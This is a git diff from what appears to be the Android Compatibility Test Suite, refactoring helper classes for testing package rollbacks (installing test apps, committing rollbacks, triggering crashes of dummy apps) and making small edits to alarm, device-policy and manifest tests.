@@ -1,155 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.Intent;
-import android.content.pm.PackageInstaller;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-/**
- * Helper class for installing test apps.
- */
-public class Install {
- private final boolean mIsMultiPackage;
- private final TestApp[] mTestApps;
- private boolean mIsStaged = false;
- private boolean mEnableRollback = false;
-
- private Install(boolean isMultiPackage, TestApp... testApps) {
- mIsMultiPackage = isMultiPackage;
- mTestApps = testApps;
- }
-
- /**
- * Creates an Install builder to install a single package.
- */
- public static Install single(TestApp testApp) {
- return new Install(false, testApp);
- }
-
- /**
- * Creates an Install builder to install using multiPackage.
- */
- public static Install multi(TestApp... testApps) {
- return new Install(true, testApps);
- }
-
- /**
- * Makes the install a staged install.
- */
- public Install setStaged() {
- mIsStaged = true;
- return this;
- }
-
- /**
- * Enables rollback for the install.
- */
- public Install setEnableRollback() {
- mEnableRollback = true;
- return this;
- }
-
- private static PackageInstaller getPackageInstaller() {
- return InstrumentationRegistry.getContext().getPackageManager().getPackageInstaller();
- }
-
- /**
- * Creates an empty install session with appropriate install params set.
- *
- * @return the session id of the newly created session
- */
- private int createEmptyInstallSession(boolean multiPackage, boolean isApex)
- throws IOException {
- PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
- PackageInstaller.SessionParams.MODE_FULL_INSTALL);
- if (multiPackage) {
- params.setMultiPackage();
- }
- if (isApex) {
- params.setInstallAsApex();
- }
- if (mIsStaged) {
- params.setStaged();
- }
- params.setEnableRollback(mEnableRollback);
- return getPackageInstaller().createSession(params);
- }
-
- /**
- * Creates an install session for the given test app.
- *
- * @return the session id of the newly created session.
- */
- private int createInstallSession(TestApp app) throws IOException {
- int sessionId = createEmptyInstallSession(/*multiPackage*/false, app.isApex());
- PackageInstaller.Session session = getPackageInstaller().openSession(sessionId);
-
- ClassLoader loader = TestApp.class.getClassLoader();
- for (String resourceName : app.getResourceNames()) {
- try (OutputStream os = session.openWrite(resourceName, 0, -1);
- InputStream is = loader.getResourceAsStream(resourceName);) {
- byte[] buffer = new byte[4096];
- int n;
- while ((n = is.read(buffer)) >= 0) {
- os.write(buffer, 0, n);
- }
- }
- }
- session.close();
- return sessionId;
- }
-
- /**
- * Commits the install.
- */
- public void commit() throws IOException, InterruptedException {
- final int sessionId;
- final PackageInstaller.Session session;
- if (mIsMultiPackage) {
- sessionId = createEmptyInstallSession(/*multiPackage*/ true, /*isApex*/false);
- session = getPackageInstaller().openSession(sessionId);
- for (TestApp app : mTestApps) {
- session.addChildSessionId(createInstallSession(app));
- }
- } else {
- assert mTestApps.length == 1;
- sessionId = createInstallSession(mTestApps[0]);
- session = getPackageInstaller().openSession(sessionId);
- }
-
- session.commit(LocalIntentSender.getIntentSender());
- Intent result = LocalIntentSender.getIntentSenderResult();
- int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
- PackageInstaller.STATUS_FAILURE);
- if (status == -1) {
- throw new AssertionError("PENDING USER ACTION");
- } else if (status > 0) {
- String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
- throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
- }
-
- if (mIsStaged) {
- Utils.waitForSessionReady(sessionId);
- }
- }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java b/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java
deleted file mode 100644
index bd8f0dd..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/LocalIntentSender.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-/**
- * Helper for making IntentSenders whose results are sent back to the test
- * app.
- */
-public class LocalIntentSender extends BroadcastReceiver {
-
- private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
- @Override
- public void onReceive(Context context, Intent intent) {
- sIntentSenderResults.add(intent);
- }
-
- /**
- * Get a LocalIntentSender.
- */
- static IntentSender getIntentSender() {
- Context context = InstrumentationRegistry.getContext();
- Intent intent = new Intent(context, LocalIntentSender.class);
- PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
- return pending.getIntentSender();
- }
-
- /**
- * Returns the most recent Intent sent by a LocalIntentSender.
- */
- static Intent getIntentSenderResult() throws InterruptedException {
- return sIntentSenderResults.take();
- }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java b/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
index 14e19bb..bb0bc60 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/Rollback.java
@@ -19,6 +19,8 @@
import android.content.pm.VersionedPackage;
import android.content.rollback.PackageRollbackInfo;
+import com.android.cts.install.lib.TestApp;
+
/**
* Helper class for asserting PackageRollbackInfo contents.
*/
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java
new file mode 100644
index 0000000..15438e4
--- /dev/null
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackBroadcastReceiver.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.lib;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * A broadcast receiver that can be used to get
+ * ACTION_ROLLBACK_COMMITTED broadcasts.
+ */
+public class RollbackBroadcastReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "RollbackTest";
+
+ private final BlockingQueue<Intent> mRollbackBroadcasts = new LinkedBlockingQueue<>();
+
+ /**
+ * Creates a RollbackBroadcastReceiver and registers it with the given
+ * context.
+ */
+ public RollbackBroadcastReceiver() {
+ IntentFilter filter = new IntentFilter();
+ filter.addAction(Intent.ACTION_ROLLBACK_COMMITTED);
+ InstrumentationRegistry.getContext().registerReceiver(this, filter);
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received rollback broadcast intent");
+ mRollbackBroadcasts.add(intent);
+ }
+
+ /**
+ * Polls for at most the given amount of time for the next rollback
+ * broadcast.
+ */
+ public Intent poll(long timeout, TimeUnit unit) throws InterruptedException {
+ return mRollbackBroadcasts.poll(timeout, unit);
+ }
+
+ /**
+ * Waits forever for the next rollback broadcast.
+ */
+ public Intent take() throws InterruptedException {
+ return mRollbackBroadcasts.take();
+ }
+
+ /**
+ * Unregisters this broadcast receiver.
+ */
+ public void unregister() {
+ InstrumentationRegistry.getContext().unregisterReceiver(this);
+ }
+}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
index 8bc9247..e81a89e 100644
--- a/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackInfoSubject.java
@@ -20,6 +20,8 @@
import android.content.rollback.PackageRollbackInfo;
import android.content.rollback.RollbackInfo;
+import com.android.cts.install.lib.TestApp;
+
import com.google.common.truth.FailureMetadata;
import com.google.common.truth.Subject;
import com.google.common.truth.Truth;
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
new file mode 100644
index 0000000..08ba87a
--- /dev/null
+++ b/libs/rollback/src/com/android/cts/rollback/lib/RollbackUtils.java
@@ -0,0 +1,264 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.rollback.lib;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.ActivityManager;
+import android.app.AlarmManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.VersionedPackage;
+import android.content.rollback.PackageRollbackInfo;
+import android.content.rollback.RollbackInfo;
+import android.content.rollback.RollbackManager;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+import java.util.concurrent.CountDownLatch;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * Utilities to facilitate testing rollbacks.
+ */
+public class RollbackUtils {
+
+ private static final String TAG = "RollbackTest";
+
+ /**
+ * Time between repeated checks in {@link #retry}.
+ */
+ private static final long RETRY_CHECK_INTERVAL_MILLIS = 500;
+
+ /**
+ * Maximum number of checks in {@link #retry} before a timeout occurs.
+ */
+ private static final long RETRY_MAX_INTERVALS = 20;
+
+
+ /**
+ * Gets the RollbackManager for the instrumentation context.
+ */
+ public static RollbackManager getRollbackManager() {
+ Context context = InstrumentationRegistry.getContext();
+ RollbackManager rm = (RollbackManager) context.getSystemService(Context.ROLLBACK_SERVICE);
+ if (rm == null) {
+ throw new AssertionError("Failed to get RollbackManager");
+ }
+ return rm;
+ }
+
+ /**
+ * Returns a rollback for the given rollback Id, if found. Otherwise, returns null.
+ */
+ private static RollbackInfo getRollbackById(List<RollbackInfo> rollbacks, int rollbackId) {
+ for (RollbackInfo rollback :rollbacks) {
+ if (rollback.getRollbackId() == rollbackId) {
+ return rollback;
+ }
+ }
+ return null;
+ }
+
+ /**
+ * Returns an available rollback for the given package name. Returns null
+ * if there are no available rollbacks, and throws an assertion if there
+ * is more than one.
+ */
+ public static RollbackInfo getAvailableRollback(String packageName) {
+ RollbackManager rm = getRollbackManager();
+ return getUniqueRollbackInfoForPackage(rm.getAvailableRollbacks(), packageName);
+ }
+
+ /**
+ * Returns a recently committed rollback for the given package name. Returns null
+ * if there are no available rollbacks, and throws an assertion if there
+ * is more than one.
+ */
+ public static RollbackInfo getCommittedRollback(String packageName) {
+ RollbackManager rm = getRollbackManager();
+ return getUniqueRollbackInfoForPackage(rm.getRecentlyCommittedRollbacks(), packageName);
+ }
+
+ /**
+ * Returns a recently committed rollback for the given rollback Id.
+ * Returns null if no committed rollback with a matching Id was found.
+ */
+ public static RollbackInfo getCommittedRollbackById(int rollbackId) {
+ RollbackManager rm = getRollbackManager();
+ return getRollbackById(rm.getRecentlyCommittedRollbacks(), rollbackId);
+ }
+
+ /**
+ * Commit the given rollback.
+ * @throws AssertionError if the rollback fails.
+ */
+ public static void rollback(int rollbackId, TestApp... causePackages)
+ throws InterruptedException {
+ List<VersionedPackage> causes = new ArrayList<>();
+ for (TestApp cause : causePackages) {
+ causes.add(cause.getVersionedPackage());
+ }
+
+ RollbackManager rm = getRollbackManager();
+ rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
+ Intent result = LocalIntentSender.getIntentSenderResult();
+ int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
+ RollbackManager.STATUS_FAILURE);
+ if (status != RollbackManager.STATUS_SUCCESS) {
+ String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
+ throw new AssertionError(message);
+ }
+ }
+
+ /**
+ * Forwards the device clock time by {@code offsetMillis}.
+ */
+ public static void forwardTimeBy(long offsetMillis) {
+ setTime(System.currentTimeMillis() + offsetMillis);
+ Log.i(TAG, "Forwarded time on device by " + offsetMillis + " millis");
+ }
+
+ /**
+ * Returns the RollbackInfo with a given package in the list of rollbacks.
+ * Throws an assertion failure if there is more than one such rollback
+ * info. Returns null if there are no such rollback infos.
+ */
+ public static RollbackInfo getUniqueRollbackInfoForPackage(List<RollbackInfo> rollbacks,
+ String packageName) {
+ RollbackInfo found = null;
+ for (RollbackInfo rollback : rollbacks) {
+ for (PackageRollbackInfo info : rollback.getPackages()) {
+ if (packageName.equals(info.getPackageName())) {
+ assertThat(found).isNull();
+ found = rollback;
+ break;
+ }
+ }
+ }
+ return found;
+ }
+
+ /**
+ * Returns an available rollback matching the specified package name. If no such rollback is
+ * available, getAvailableRollbacks is called repeatedly until one becomes available. An
+ * assertion is raised if this does not occur after a certain number of checks.
+ */
+ public static RollbackInfo waitForAvailableRollback(String packageName)
+ throws InterruptedException {
+ return retry(() -> getAvailableRollback(packageName),
+ Objects::nonNull, "Rollback did not become available.");
+ }
+
+ /**
+ * If there is no available rollback matching the specified package name, this returns
+ * immediately. If such a rollback is available, getAvailableRollbacks is called repeatedly
+ * until it is no longer available. An assertion is raised if this does not occur after a
+ * certain number of checks.
+ */
+ public static void waitForUnavailableRollback(String packageName) throws InterruptedException {
+ retry(() -> getAvailableRollback(packageName), Objects::isNull,
+ "Rollback did not become unavailable");
+ }
+
+ private static <T> T retry(Supplier<T> supplier, Predicate<T> predicate, String message)
+ throws InterruptedException {
+ for (int i = 0; i < RETRY_MAX_INTERVALS; i++) {
+ T result = supplier.get();
+ if (predicate.test(result)) {
+ return result;
+ }
+ Thread.sleep(RETRY_CHECK_INTERVAL_MILLIS);
+ }
+ throw new AssertionError(message);
+ }
+
+ /**
+ * Send broadcast to crash {@code packageName} {@code count} times. If {@code count} is at least
+ * {@link PackageWatchdog#TRIGGER_FAILURE_COUNT}, watchdog crash detection will be triggered.
+ */
+ public static void sendCrashBroadcast(String packageName,
+ int count) throws InterruptedException, IOException {
+ for (int i = 0; i < count; ++i) {
+ launchPackageForCrash(packageName);
+ }
+ }
+
+ private static void setTime(long millis) {
+ Context context = InstrumentationRegistry.getContext();
+ AlarmManager am = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
+ am.setTime(millis);
+ }
+
+ /**
+ * Launches {@code packageName} with {@link Intent#ACTION_MAIN} and
+ * waits for a CRASH broadcast from the launched app.
+ */
+ private static void launchPackageForCrash(String packageName)
+ throws InterruptedException, IOException {
+ // Force stop the package before launching it to make sure it isn't
+ // stuck in a non-launchable state. And wait a second afterwards to
+ // avoid interfering with when we launch the app.
+ Log.i(TAG, "Force stopping " + packageName);
+ Context context = InstrumentationRegistry.getContext();
+ ActivityManager am = context.getSystemService(ActivityManager.class);
+ am.forceStopPackage(packageName);
+ Thread.sleep(1000);
+
+ // Register a receiver to listen for the CRASH broadcast.
+ CountDownLatch latch = new CountDownLatch(1);
+ IntentFilter crashFilter = new IntentFilter();
+ crashFilter.addAction("com.android.tests.rollback.CRASH");
+ crashFilter.addCategory(Intent.CATEGORY_DEFAULT);
+ BroadcastReceiver crashReceiver = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Received CRASH broadcast from " + packageName);
+ latch.countDown();
+ }
+ };
+ context.registerReceiver(crashReceiver, crashFilter);
+
+ // Launch the app.
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setPackage(packageName);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.addCategory(Intent.CATEGORY_LAUNCHER);
+ Log.i(TAG, "Launching " + packageName + " with " + intent);
+ context.startActivity(intent);
+
+ Log.i(TAG, "Waiting for CRASH broadcast from " + packageName);
+ latch.await();
+
+ context.unregisterReceiver(crashReceiver);
+
+ // Sleep long enough for packagewatchdog to be notified of crash
+ Thread.sleep(1000);
+ }
+}
+
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java b/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java
deleted file mode 100644
index 530ead7..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/TestApp.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.pm.VersionedPackage;
-
-/**
- * Collection of dummy apps used in tests.
- */
-public class TestApp {
- public static final String A = "com.android.cts.rollback.lib.testapp.A";
- public static final String Apex = "com.android.apex.cts.shim";
-
- public static final TestApp A1 = new TestApp("A1", A, 1, /*isApex*/false,
- "RollbackManagerTestAppA1.apk");
- public static final TestApp A2 = new TestApp("A2", A, 2, /*isApex*/false,
- "RollbackManagerTestAppA2.apk");
- public static final TestApp Apex2 = new TestApp("Apex2", Apex, 2, /*isApex*/true,
- "com.android.apex.cts.shim.v2.apex");
- public static final TestApp Apex3 = new TestApp("Apex3", Apex, 3, /*isApex*/true,
- "com.android.apex.cts.shim.v3.apex");
-
- private final String mName;
- private final String mPackageName;
- private final long mVersionCode;
- private final String[] mResourceNames;
- private final boolean mIsApex;
-
- public TestApp(String name, String packageName, long versionCode, boolean isApex,
- String... resourceNames) {
- mName = name;
- mPackageName = packageName;
- mVersionCode = versionCode;
- mResourceNames = resourceNames;
- mIsApex = isApex;
- }
-
- String getPackageName() {
- return mPackageName;
- }
-
- long getVersionCode() {
- return mVersionCode;
- }
-
- String[] getResourceNames() {
- return mResourceNames;
- }
-
- VersionedPackage getVersionedPackage() {
- return new VersionedPackage(mPackageName, mVersionCode);
- }
-
- boolean isApex() {
- return mIsApex;
- }
-
- @Override
- public String toString() {
- return mName;
- }
-}
diff --git a/libs/rollback/src/com/android/cts/rollback/lib/Utils.java b/libs/rollback/src/com/android/cts/rollback/lib/Utils.java
deleted file mode 100644
index 668f641..0000000
--- a/libs/rollback/src/com/android/cts/rollback/lib/Utils.java
+++ /dev/null
@@ -1,226 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.rollback.lib;
-
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
-import android.content.pm.VersionedPackage;
-import android.content.rollback.PackageRollbackInfo;
-import android.content.rollback.RollbackInfo;
-import android.content.rollback.RollbackManager;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-/**
- * Utilities to facilitate testing rollbacks.
- */
-public class Utils {
- /**
- * Returns the version of the given package installed on device.
- * Returns -1 if the package is not currently installed.
- */
- public static long getInstalledVersion(String packageName) {
- Context context = InstrumentationRegistry.getContext();
- PackageManager pm = context.getPackageManager();
- try {
- PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
- return info.getLongVersionCode();
- } catch (PackageManager.NameNotFoundException e) {
- return -1;
- }
- }
-
- /**
- * Gets the RollbackManager for the instrumentation context.
- */
- public static RollbackManager getRollbackManager() {
- Context context = InstrumentationRegistry.getContext();
- RollbackManager rm = (RollbackManager) context.getSystemService(Context.ROLLBACK_SERVICE);
- if (rm == null) {
- throw new AssertionError("Failed to get RollbackManager");
- }
- return rm;
- }
-
- /**
- * Returns a rollback for the given package name in the list of
- * rollbacks. Returns null if there are no available rollbacks, and throws
- * an assertion if there is more than one.
- */
- private static RollbackInfo getRollback(List<RollbackInfo> rollbacks, String packageName) {
- RollbackInfo found = null;
- for (RollbackInfo rollback : rollbacks) {
- for (PackageRollbackInfo info : rollback.getPackages()) {
- if (packageName.equals(info.getPackageName())) {
- if (found != null) {
- throw new AssertionError("Multiple available matching rollbacks found");
- }
- found = rollback;
- break;
- }
- }
- }
- return found;
- }
-
- /**
- * Returns a rollback for the given rollback Id, if found. Otherwise, returns null.
- */
- private static RollbackInfo getRollbackById(List<RollbackInfo> rollbacks, int rollbackId) {
- for (RollbackInfo rollback :rollbacks) {
- if (rollback.getRollbackId() == rollbackId) {
- return rollback;
- }
- }
- return null;
- }
-
- /**
- * Returns an available rollback for the given package name. Returns null
- * if there are no available rollbacks, and throws an assertion if there
- * is more than one.
- */
- public static RollbackInfo getAvailableRollback(String packageName) {
- RollbackManager rm = getRollbackManager();
- return getRollback(rm.getAvailableRollbacks(), packageName);
- }
-
- /**
- * Returns a recently committed rollback for the given package name. Returns null
- * if there are no available rollbacks, and throws an assertion if there
- * is more than one.
- */
- public static RollbackInfo getCommittedRollback(String packageName) {
- RollbackManager rm = getRollbackManager();
- return getRollback(rm.getRecentlyCommittedRollbacks(), packageName);
- }
-
- /**
- * Returns a recently committed rollback for the given rollback Id.
- * Returns null if no committed rollback with a matching Id was found.
- */
- public static RollbackInfo getCommittedRollbackById(int rollbackId) {
- RollbackManager rm = getRollbackManager();
- return getRollbackById(rm.getRecentlyCommittedRollbacks(), rollbackId);
- }
-
- /**
- * Uninstalls the given package.
- * Does nothing if the package is not installed.
- * @throws AssertionError if package can't be uninstalled.
- */
- public static void uninstall(String packageName) throws InterruptedException, IOException {
- // No need to uninstall if the package isn't installed.
- if (getInstalledVersion(packageName) == -1) {
- return;
- }
-
- Context context = InstrumentationRegistry.getContext();
- PackageManager packageManager = context.getPackageManager();
- PackageInstaller packageInstaller = packageManager.getPackageInstaller();
- packageInstaller.uninstall(packageName, LocalIntentSender.getIntentSender());
- Intent result = LocalIntentSender.getIntentSenderResult();
- int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
- PackageInstaller.STATUS_FAILURE);
- if (status == -1) {
- throw new AssertionError("PENDING USER ACTION");
- } else if (status > 0) {
- String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
- throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
- }
- }
-
- /**
- * Commit the given rollback.
- * @throws AssertionError if the rollback fails.
- */
- public static void rollback(int rollbackId, TestApp... causePackages)
- throws InterruptedException {
- List<VersionedPackage> causes = new ArrayList<>();
- for (TestApp cause : causePackages) {
- causes.add(cause.getVersionedPackage());
- }
-
- RollbackManager rm = getRollbackManager();
- rm.commitRollback(rollbackId, causes, LocalIntentSender.getIntentSender());
- Intent result = LocalIntentSender.getIntentSenderResult();
- int status = result.getIntExtra(RollbackManager.EXTRA_STATUS,
- RollbackManager.STATUS_FAILURE);
- if (status != RollbackManager.STATUS_SUCCESS) {
- String message = result.getStringExtra(RollbackManager.EXTRA_STATUS_MESSAGE);
- throw new AssertionError(message);
- }
- }
-
- /**
- * Waits for the given session to be marked as ready.
- * Throws an assertion if the session fails.
- */
- public static void waitForSessionReady(int sessionId) {
- BlockingQueue<PackageInstaller.SessionInfo> sessionStatus = new LinkedBlockingQueue<>();
- BroadcastReceiver sessionUpdatedReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- PackageInstaller.SessionInfo info =
- intent.getParcelableExtra(PackageInstaller.EXTRA_SESSION);
- if (info != null && info.getSessionId() == sessionId) {
- if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
- try {
- sessionStatus.put(info);
- } catch (InterruptedException e) {
- throw new AssertionError(e);
- }
- }
- }
- }
- };
- IntentFilter sessionUpdatedFilter =
- new IntentFilter(PackageInstaller.ACTION_SESSION_UPDATED);
-
- Context context = InstrumentationRegistry.getContext();
- context.registerReceiver(sessionUpdatedReceiver, sessionUpdatedFilter);
-
- PackageInstaller installer = context.getPackageManager().getPackageInstaller();
- PackageInstaller.SessionInfo info = installer.getSessionInfo(sessionId);
-
- try {
- if (info.isStagedSessionReady() || info.isStagedSessionFailed()) {
- sessionStatus.put(info);
- }
-
- info = sessionStatus.take();
- context.unregisterReceiver(sessionUpdatedReceiver);
- if (info.isStagedSessionFailed()) {
- throw new AssertionError(info.getStagedSessionErrorMessage());
- }
- } catch (InterruptedException e) {
- throw new AssertionError(e);
- }
- }
-}
-
diff --git a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
index 6774764..d7afe11 100644
--- a/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
+++ b/tests/AlarmManager/src/android/alarmmanager/cts/AppStandbyTests.java
@@ -250,6 +250,12 @@
@Test
public void testNeverDelay() throws Exception {
updateAlarmManagerConstants(false);
+ setAppStandbyBucket("active");
+ final long firstTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
+ scheduleAlarm(firstTrigger, false, 0);
+ Thread.sleep(MIN_FUTURITY);
+ assertTrue("Alarm did not fire when app in active", waitForAlarm());
+
setAppStandbyBucket("never");
final long expectedTrigger = SystemClock.elapsedRealtime() + MIN_FUTURITY;
scheduleAlarm(expectedTrigger, true, 0);
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 349578f..e34478c 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -50,7 +50,6 @@
import java.util.List;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
-
/**
* TODO: Make sure DO APIs are not called by PO.
* Test that exercises {@link DevicePolicyManager}. The test requires that the
@@ -1001,7 +1000,7 @@
(NotificationManager) mContext.getSystemService(Context.NOTIFICATION_SERVICE);
assertTrue("Notification policy access was not granted ",
- mNotificationManager.isNotificationPolicyAccessGranted());
+ mNotificationManager.isNotificationPolicyAccessGranted());
// Clear out the old policy
mNotificationManager.setNotificationPolicy(new Policy(0, 0, 0, -1));
@@ -1014,12 +1013,21 @@
assertNotEquals(mNotificationManager.getNotificationPolicy(), expected);
mNotificationManager.setNotificationPolicy(expected);
- assertEquals(mNotificationManager.getNotificationPolicy(), expected);
+ assertNotificationPolicyEquals(mNotificationManager.getNotificationPolicy(), expected);
} catch (SecurityException e) {
assertProfileOwnerMessage(e.getMessage());
}
}
+ private void assertNotificationPolicyEquals(NotificationManager.Policy actual,
+ NotificationManager.Policy expected) {
+ assertEquals(actual.priorityCategories, expected.priorityCategories);
+ assertEquals(actual.priorityCallSenders, expected.priorityCallSenders);
+ assertEquals(actual.priorityMessageSenders, expected.priorityMessageSenders);
+ assertEquals(actual.suppressedVisualEffects, expected.suppressedVisualEffects);
+ // NOTE: we cannot set the NotificationPolicy's state
+ }
+
private void setInterruptionFilter(int interruptionFilter) throws Exception {
final CountDownLatch latch = new CountDownLatch(1);
final BroadcastReceiver receiver = new BroadcastReceiver() {
diff --git a/tests/app/AndroidManifest.xml b/tests/app/AndroidManifest.xml
index 4ff6cb2..860c1a8 100644
--- a/tests/app/AndroidManifest.xml
+++ b/tests/app/AndroidManifest.xml
@@ -21,6 +21,7 @@
<uses-sdk android:minSdkVersion="11" />
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.BODY_SENSORS" />
+ <uses-permission android:name="android.permission.ENTER_CAR_MODE_PRIORITIZED" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
